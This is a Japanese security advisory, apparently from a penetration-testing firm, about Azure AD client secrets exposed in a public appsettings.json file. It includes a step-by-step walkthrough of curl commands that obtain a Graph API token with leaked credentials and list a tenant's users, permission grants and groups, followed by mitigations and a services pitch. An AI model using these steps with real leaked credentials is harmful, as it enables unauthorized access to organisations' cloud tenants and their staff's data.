Azure AD クライアントシークレット漏えい：クラウドへの鍵

概要

Resecurity の HUNTER チームによるサイバーセキュリティ評価の過程で、Azure Active Directory（Azure AD）アプリケーションの資格情報、すなわち ClientId と ClientSecret が、一般公開されアクセス可能なアプリケーション設定（appsettings.json）ファイル内に露出していることが判明しました。

1. SharePoint、OneDrive、または Exchange Online からの機密データの取得
2. Azure AD 内のユーザー、グループ、ディレクトリ ロールの列挙
3. 権限昇格や永続化のための Graph API の悪用
4. 組織のテナント配下での悪意あるアプリケーションの展開

重大なリスクは、このファイルがインターネット上で公開アクセス可能だった点にあります。つまり、機会主義的なボットから高度な脅威アクターまで、誰でも資格情報を収集し、直ちにそれを悪用してクラウドアカウントの侵害、データ窃取、さらなる侵入を行える可能性がありました。

要するに、Azure AD のシークレットを含む appsettings.json を露出させることは、単なる設定ミスではなく、攻撃者にクラウドへの鍵を直接渡してしまう攻撃ベクトルです。

なぜこの攻撃は発生するのか？

この種の攻撃は通常、クラウドネイティブ アプリケーションにおける設定ミスと不十分なシークレット管理が原因で発生します。開発者はしばしば、ClientId、ClientSecret、ストレージキー、データベースパスワードなどの機密値を、appsettings.json のような設定ファイルに直接記載します。ローカル開発では問題なく動作しますが、次のような場合に問題が顕在化します：

1. サーバーの誤設定 – Web サーバーが静的ファイル（.json 設定を含む）を制限なく配信するよう設定されており、単純な URL で公開アクセス可能になってしまう。
2. 不適切なデプロイ運用 – 開発者が内部設定ファイルを誤って本番環境へ投入し、アクセス制限を行わないまま、パスを知る者なら誰でもシークレットに到達できてしまう。
3. シークレット管理ツールの不在 – 安全なボールト（Azure Key Vault、AWS Secrets Manager、HashiCorp Vault）を使わず、平文の設定ファイルにシークレットをハードコードしてしまい、漏えいしやすくなる。
4. セキュリティテスト／監視の欠如 – 定期的なスキャン、ペネトレーションテスト、コードレビューがないと、露出したファイルは攻撃者に発見されるまで見過ごされる。
5. 秘匿への過信 – 「誰もこのファイルを見つけない」と思い込むが、攻撃者は継続的に Web サイトをクロールし、dirsearch のようなツールを使い、GitHub リポジトリをスキャンして、まさにこの種の漏えいを探している。

appsettings.json とは？

ASP.NET Core アプリケーションにおいて、appsettings.json はアプリケーションの動作に必要な重要なキー／値のペアを保存する中心的な設定ファイルです。旧来の web.config 形式に代わるもので、よりクリーンで人間が読みやすく、構造化された JSON ベースのアプローチを提供します。

このファイルは通常、実行時に自動的に読み込まれます。また開発者は、異なる環境を管理するために設定を重ねることもできます（例：appsettings.Development.json、appsettings.Production.json）。

appsettings.json に保存される一般的なデータの種類は次のとおりです：

1. データベース接続文字列（SQL Server、MySQL、PostgreSQL、MongoDB など）
2. サードパーティ連携用の API キーやトークン（決済ゲートウェイ、メールプロバイダー、地図サービスなど）
3. Azure、AWS、GCP などのプラットフォーム向けクラウドサービス資格情報
4. Azure Active Directory（Azure AD）の認証詳細（例：）
   1. ClientId
   2. TenantId
   3. RedirectUri
   4. ClientSecret
5. ログおよび監視の設定（例：ログレベル、ログ送信先エンドポイント、テレメトリ）
6. アプリケーション機能の有効／無効を切り替える機能フラグや環境設定

appsettings.json ファイルは、アプリケーションがどのように動作するかの設計図に相当します。アプリがどこへ接続するか（データベース、API、クラウドサービス）を示すだけでなく、認証に必要な資格情報が含まれている場合もあります。

AzureAd 設定フィールドの内訳

"AzureAd": { "Instance": "https://login.microsoftonline.com/", "TenantId": "<TENANT_ID>", "ClientId": "<CLIENT_ID>", "RedirectUri": "https://<app-domain>/", "ClientSecret": "<CLIENT_SECRET>" }

フィールドの説明

1. Instance

Azure Active Directory（AAD）ID プロバイダーのベース URL です。
通常は https://login.microsoftonline.com/ です。
すべての OAuth2 および OpenID Connect の認証リクエストは、このエンドポイントを経由してルーティングされます。

2. TenantId

Azure AD テナントの一意識別子（11111111-2222-3333-4444-555555555555 のような GUID、または contoso.com のような検証済みドメイン）です。アプリケーションがどの Azure AD ディレクトリに対して認証すべきかを指定します。

3. ClientId
   アプリケーション（クライアント）ID とも呼ばれます。
   Azure AD に登録されたアプリケーションの公開識別子です。
   OAuth2 フローで、どのアプリがアクセスを要求しているかを識別するために使用されます。
4. RedirectUri
   Azure AD が認証応答（トークンまたは認可コード）を送信するコールバック URL です。
   Azure AD のアプリ登録で設定されたリダイレクト URI のいずれかと完全一致する必要があります。
   例： https://app.example.com/signin-oidc。
5. ClientSecret
   アプリケーションに紐づく非公開シークレットで、機密クライアント フロー（例：クライアント資格情報フロー）においてパスワードのように使用されます。 露出すると、攻撃者がアプリとして認証し、トークンを要求できるようになります。

悪用手順（ウォークスルー）

appsettings.json ファイル内で ClientId と ClientSecret が露出している場合、攻撃者は実質的に Azure AD アプリケーションの「ユーザー名とパスワード」を所持しているのと同じです。これらの資格情報は、Microsoft の ID プラットフォームからアクセストークンを要求するために悪用できます。有効なトークンを取得すると、それはデジタルパスポートのように機能し、Azure および Microsoft Graph API へのプログラム的アクセスを付与します。これは、アプリケーション自身が正当に認証するのと同じ方法です。

ステップ 1 – アクセストークンの要求

攻撃者は、露出した appsettings.json ファイルから漏えいした ClientId と ClientSecret を使用し、OAuth2 のクライアント資格情報フローを用いて Azure Active Directory（Azure AD）に対して認証します。

リクエスト

curl -X POST \

-d "grant_type=client_credentials" \

-d "client_id=<REDACTED_CLIENT_ID>" \

-d "client_secret=<REDACTED_CLIENT_SECRET>" \

-d "scope=https://graph.microsoft.com/.default" \

<a href="https://www.google.com/url?q=https://login.microsoftonline.com/%253cTENANT_ID%253e/oauth2/v2.0/token&sa=D&source=editors&ust=[sanitized_ID]&usg=[sanitized_token]" rel="nofollow">https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token</a>

レスポンス

{ "token_type": "Bearer", "expires_in": 3599, "ext_expires_in": 3599, "access_token": "<REDACTED_ACCESS_TOKEN>" }

主要パラメータ：

• grant_type=client_credentials → ユーザーを介さないサーバー間のアプリログインであることを Azure AD に伝えます。
• client_id → Azure AD アプリケーションの公開識別子。
• client_secret → アプリの同一性を証明する、パスワードのような非公開シークレット。
• scope=https://graph.microsoft.com/.default → Microsoft Graph 用のトークンを要求します。Microsoft Graph は Microsoft 365 データ（ユーザー、グループ、メール、ファイルなど）への主要な API ゲートウェイです。
• tenant_id → Azure AD テナントを識別します

主要フィールド：

• token_type=Bearer → 発行されたトークンは Bearer トークンであり、以降の API リクエストに含める必要があります。
• expires_in=3599 → トークンの有効期限は約 1 時間です。
• access_token → JWT（JSON Web Token）。Azure AD により発行される署名付き資格情報で、アプリケーションの代わりに Microsoft Graph へのアクセスを許可します

ステップ 2 – Microsoft Graph によるユーザー列挙

ステップ 1 でアクセストークンを取得した後、攻撃者は Microsoft Graph API に GET リクエストを送信し、テナント内のユーザーを列挙できます。

リクエスト

Curl -X GET https://graph.microsoft.com/v1.0/users -H "Authorization: Bearer <ACCESS_TOKEN>"

レスポンス

{ "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users", "@odata.nextLink": "https://graph.microsoft.com/v1.0/users?$skiptoken=...", "value": [ { "id": "11111111-2222-3333-4444-555555555555", "displayName": "Example User", "givenName": "Example", "surname": "User", "userPrincipalName": "[email protected]", "mail": "[email protected]", "jobTitle": null, "officeLocation": null, "mobilePhone": null }, { "id": "66666666-7777-8888-9999-000000000000", "displayName": "Test Account", "surname": "Account", "userPrincipalName": "[email protected]", "mail": "[email protected]" } ] }

主要パラメータ：

• Authorization: Bearer <ACCESS_TOKEN> → ステップ 1 で発行された JWT トークン。
• Endpoint: /v1.0/users → テナント内のすべての Azure AD ユーザーを一覧表示します。

これにより攻撃者は次のことが可能になります：

• ユーザー名とメールアドレスの列挙。
• パスワードスプレーやフィッシングのためのリスト作成。
• 命名規則や内部アカウントの特定。

ステップ 3 – OAuth2 権限付与の列挙

攻撃者が有効なアクセストークンを入手すると、Microsoft Graph API を照会してテナント内の OAuth2 権限付与を列挙できます。これにより、どのアプリケーションが承認され、どのスコープ（権限）を保持しているかが明らかになります。

リクエスト

curl -X GET https://graph.microsoft.com/v1.0/oauth2PermissionGrants -H "Authorization: Bearer <ACCESS_TOKEN>"

レスポンス

{ "clientId": "11111111-2222-3333-4444-555555555555", "consentType": "Principal", "principalId": "11111111-2222-3333-4444-555555555555", "resourceId": "11111111-2222-3333-4444-555555555555", "scope": "MyFiles.Read MyFiles.Write" }

主要フィールドの説明

• clientId → Azure AD アプリケーションの ID。
• consentType → 権限がユーザー（Principal）によって付与されたのか、テナントレベル（AllPrincipals）で付与されたのか。
• principalId → 同意を付与したユーザーまたはサービスプリンシパルのオブジェクト ID。
• resourceId → 対象リソース（例：Microsoft Graph）。
• scope → 付与された具体的な権限（データへの読み取り／書き込みアクセス）。

ステップ 4 – グループとメンバーシップの列挙

攻撃者はグループ情報を利用して、権限の集中箇所や業務上重要なチームを特定します。

リクエスト

curl -X GET \

https://graph.microsoft.com/v1.0/groups \

-H "Authorization: Bearer <ACCESS_TOKEN>"

レスポンス

{ "value": [ { "id": "11111111-2222-3333-4444-555555555555", "displayName": "Global Administrators", "description": "Users with full access to manage tenant" }, { "id": "11111111-2222-3333-4444-555555555555", "displayName": "Finance Team", "description": "Users with access to financial records" } ] }

/groups エンドポイントは組織構造を露出させます。グローバル管理者（Global Administrators）のような高価値グループは、メンバー 1 人を侵害するだけでテナント全体の制御を得られるため、主要な標的となります。攻撃者はさらに /groups/{id}/members エンドポイントと組み合わせて、機微なグループに属するユーザーを明らかにできます。

攻撃者が達成できること

Azure AD 資格情報（ClientId、ClientSecret、TenantId、RedirectUri）を含む appsettings.json ファイルの漏えいは、些細な設定ミスではありません。クラウド環境への直接的な侵入口になり得ます。想定される影響には次が含まれます：

• 不正な Azure AD アクセス – 攻撃者は有効な OAuth 2.0 トークンを生成し、信頼されたアプリケーションになりすますことができます。
• Microsoft Graph API を介したデータ流出 – 認証後、攻撃者は Microsoft 365 に保存されたユーザー、グループ、権限、メールボックス、ファイル、さらには機密の業務データまで列挙できます。
• 権限昇格と偵察 – グループメンバーシップ（例：Global Administrators、Security Readers、Finance Teams）をマッピングすることで、高価値ターゲットを特定し、より高権限のアカウントへピボットできます。
• クラウドリソースへの水平移動 – ファイルにストレージアカウント、Cosmos DB、その他 Azure サービスのキーも含まれている場合、攻撃者は本番データへ直接アクセスしたり改ざんしたりできます。
• 永続化とバックドア作成 – 十分な権限があれば、攻撃者は不正アプリを登録し、自分に同意を付与し、検知後もアクセスを維持するために隠しユーザー／グループを追加できます。
• コンプライアンス／規制リスク – こうしたシークレットの露出は GDPR、HIPAA、SOX 違反につながり、多額の罰金や評判の毀損を招きます。
• サプライチェーン悪用 – このアプリが顧客向けである場合、攻撃者はアクセスを武器化し、下流の顧客、パートナー、または統合されたサードパーティサービスに影響を与える可能性があります。

緩和への道筋

シークレットを含む appsettings.json の露出は危険な設定ミスですが、次のベストプラクティスで緩和できます：

1. ファイルアクセスを制限する

• appsettings.json およびその他の設定ファイルが決して公開アクセス可能にならないようにします。
• Web サーバー（IIS、Nginx、Apache など）を設定し、設定ファイル（.json、.config、.env）への直接アクセスをブロックします。
• location ~* \.(json|config|env)$ {deny all;}

2. コードおよび設定ファイルからシークレットを排除する

• ClientSecret、API キー、データベース資格情報を平文でハードコードしないでください。

3. 露出した資格情報を直ちにローテーションする

• シークレットが漏えいした場合は、侵害されたものとして扱います。
• ClientSecret をローテーションし、アクセスキーを再生成し、露出した値を無効化します。

4. 最小権限の原則を徹底する

• Azure AD アプリケーションに過剰な権限を付与しないでください。
• 絶対に必要でない限り、Directory.Read.All やグローバル権限を付与するのではなく、最小限のスコープを使用します。

5. 資格情報の利用を監視し、アラートを出す

• Azure AD のログを有効化し、不審な API 呼び出しを検知します。
• サービスプリンシパルまたはアプリケーションが異常な IP や地域から認証した際にアラートを設定します。

結論

一見無害に見える JSON 設定ファイルが、実際には組織のクラウド王国へのマスターキーとして機能し得ます。appsettings.json をインターネットに露出させることで、開発者は意図せず攻撃者に直接アクセス可能なトークンへの道を渡してしまいます。これらのトークンは Azure AD の ID、Microsoft Graph のデータ、ストレージアカウント、さらには高権限の管理機能まで解錠し得ます。

影響は甚大です：

• 漏えいした ClientSecret が 1 つあるだけで、MFA などの従来のログイン防御を回避できる場合があります。サービス間認証は純粋にキーに依存するためです。
• 露出したストレージアカウントキーにより、ユーザー操作なしで機密データの読み取り、書き込み、削除が可能になる場合があります。
• 漏えいした Azure AD アプリケーション資格情報は、ユーザー、グループ、メールボックス、権限を密かに列挙するために悪用され、Microsoft 365 テナント全体にわたる水平移動を可能にします。

これは単なる設定ミスではなく、起こるべくして起こるクラウド侵害です。組織は、クラウドセキュリティが「最も弱く露出したファイル」と同じ強度にしかならないことを理解しなければなりません。

教訓は明確です：

• シークレットは、公開サーバー上のコードや設定に置くべきではありません。
• ファイルの置き間違い＝ID の侵害。
• 見落とされたエンドポイントはすべて、攻撃者の潜在的な侵入口です。

要するに、最小のファイルが最大の侵害を引き起こし得ます。設定セキュリティをアプリケーションロジックと同じくらい真剣に扱う防御側こそが、明日の見出しになる侵害を回避できるのです。

当社の専門家は以下の業界資格を保有しており、Fortune 500 の主要企業や政府機関との成功実績を豊富に有しています：

• CISSP
  （Certified Information Systems Security Professional）
• CEH
  （Certified Ethical Hacker）
• CISA
  （Certified Information Systems Auditor）
• GIAC
  GCIH（Certified Incident Handler）
• Offensive
  Security Certified Professional（OSCP）
• GIAC
  Web Application Penetration Tester（GWAPT）
• eLearnSecurity
  Certified Penetration Tester eXtreme（eCPTX）
• eLearnSecurity
  Web Application Penetration Tester Extreme（eWPTXv2）
• eLearnSecurity
  Certified Professional Penetration Tester（eCPPTv2）
• Attify
  Certified IoT Security Pentester（ACIP）
• eLearnSecurity
  Mobile Application Penetration Tester（eMAPT）
• Certified
  Red Team Professional（CRTP）
• CREST
  Registered Penetration Tester（CRT）
• CREST
  Practitioner Security Analyst（CPSA）

[email protected] まで、いつでもお気軽にお問い合わせください。
当社の専門家が、ペネトレーションテスト、レッドチーム演習、サイバーセキュリティ評価について喜んで支援いたします。Resecurity による VAPT（脆弱性評価およびペネトレーションテスト）サービスの詳細については、こちらのページをご覧ください。